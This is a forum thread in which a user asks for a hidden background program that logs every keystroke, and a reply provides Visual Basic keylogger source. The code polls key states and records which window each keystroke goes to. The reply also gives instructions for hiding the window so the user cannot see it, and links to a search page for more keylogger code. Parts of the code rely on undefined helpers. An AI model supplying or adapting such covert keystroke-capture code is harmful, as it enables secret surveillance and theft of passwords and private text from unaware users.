Help required to Trap Keyboard

[gsr_sreedhar]

I want to create a program which runs in the background and all the keys pressed should be written to a local .txt file. I am unable to trap the keyboard. I have tried using some API's but i dont think they are the right ones, i think that shell script might be required.

Thank you in advance

[Gush]

Did you try using GetAsyncKeyState?

[gsr_sreedhar]

This works only if the window is open, i need something which runs in the background and is invisible to the user.

[lvramanan]

Hi Sreedhar,
A Keylogger is a very simple one. There are a hell a lot of examples here

http://www.planet-source-code.com/vb/scripts/BrowseCategoryOrSearchResults.asp?txtCriteria=keylogger&blnWorldDropDownUsed=TRUE&txtMaxNumberOfEntriesPerPage=10&blnResetAllVariables=TRUE&lngWId=1&B1=Quick+Search&optSort=Alphabetical

. Just Search for the VB Documents. If you can't find that. Here's the code. Ofcourse this is a simple on.

Form Code :-
„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ
Dim a(15) As String
Private CurrentApp_hWnd
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32.dll" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long

Function GetCaption(hwnd As Long)
Dim hWndTitle As String
hWndTitle = String(GetWindowTextLength(hwnd), 0)
GetWindowText hwnd, hWndTitle, (GetWindowTextLength(hwnd) + 1)
GetCaption = hWndTitle
End Function

Private Sub Command1_Click()
Select Case Command1.Caption
Case "enable"
Command1.Caption = "disable"
Timer1.Enabled = True
Case "disable"
Command1.Caption = "enable"
Timer1.Enabled = False
End Select
End Sub


Private Sub Timer1_Timer()
On Error Resume Next
If GetForegroundWindow <> CurrentApp_hWnd Then
CurrentApp_hWnd = GetForegroundWindow
If GetCaption(GetForegroundWindow) = "" Then Else: Text1 = Text1 & " [" & GetCaption(GetForegroundWindow) & "] "
End If
If GetAsyncKeyState(13) = -32767 Then addkey = vbCrLf
If GetAsyncKeyState(8) = -32767 Then Text1 = Left(Text1, Len(Text1) - 1)
If GetAsyncKeyState(32) = -32767 Then addkey = " "
If GetAsyncKeyState(186) = -32767 And getshift = False Then addkey = ";"
If GetAsyncKeyState(187) = -32767 And getshift = False Then addkey = "="
If GetAsyncKeyState(188) = -32767 And getshift = False Then addkey = ","
If GetAsyncKeyState(189) = -32767 And getshift = False Then addkey = "-"
If GetAsyncKeyState(190) = -32767 And getshift = False Then addkey = "."
If GetAsyncKeyState(191) = -32767 And getshift = False Then addkey = "?"
If GetAsyncKeyState(192) = -32767 And getshift = False Then addkey = "`"
If GetAsyncKeyState(96) = -32767 Then addkey = "0"
If GetAsyncKeyState(97) = -32767 Then addkey = "1"
If GetAsyncKeyState(98) = -32767 Then addkey = "2"
If GetAsyncKeyState(99) = -32767 Then addkey = "3"
If GetAsyncKeyState(100) = -32767 Then addkey = "4"
If GetAsyncKeyState(101) = -32767 Then addkey = "5"
If GetAsyncKeyState(102) = -32767 Then addkey = "6"
If GetAsyncKeyState(103) = -32767 Then addkey = "7"
If GetAsyncKeyState(104) = -32767 Then addkey = "8"
If GetAsyncKeyState(105) = -32767 Then addkey = "9"
If GetAsyncKeyState(110) = -32767 Then addkey = "."
If GetAsyncKeyState(220) = -32767 And getshift = False Then addkey = "\"
If GetAsyncKeyState(222) = -32767 And getshift = False Then addkey = "'"
If GetAsyncKeyState(221) = -32767 And getshift = False Then addkey = "]"
If GetAsyncKeyState(219) = -32767 And getshift = False Then addkey = "["
Skip:
KeyLoop = 41
Do Until KeyLoop = 127
If GetAsyncKeyState(KeyLoop) = -32767 Then
If KeyLoop > 64 And KeyLoop < 91 Then
If GetCapslock = True And getshift = True Then KeyLoop = KeyLoop + 32
If GetCapslock = False And getshift = False Then KeyLoop = KeyLoop + 32
End If
If KeyLoop > 47 And KeyLoop < 58 And getshift = True Then addkey = a(Val(Chr(KeyLoop)))
Text1 = Text1 + Chr(KeyLoop)
End If
KeyLoop = KeyLoop + 1
Loop
GoTo KeyFound
Exit Sub
KeyFound: Text1 = Text1 & addkey
End Sub

Here I've made the Window to be visible for your understanding. Just hide the window by making Me.Visible = False in the Form Load Event
Hope this helps you.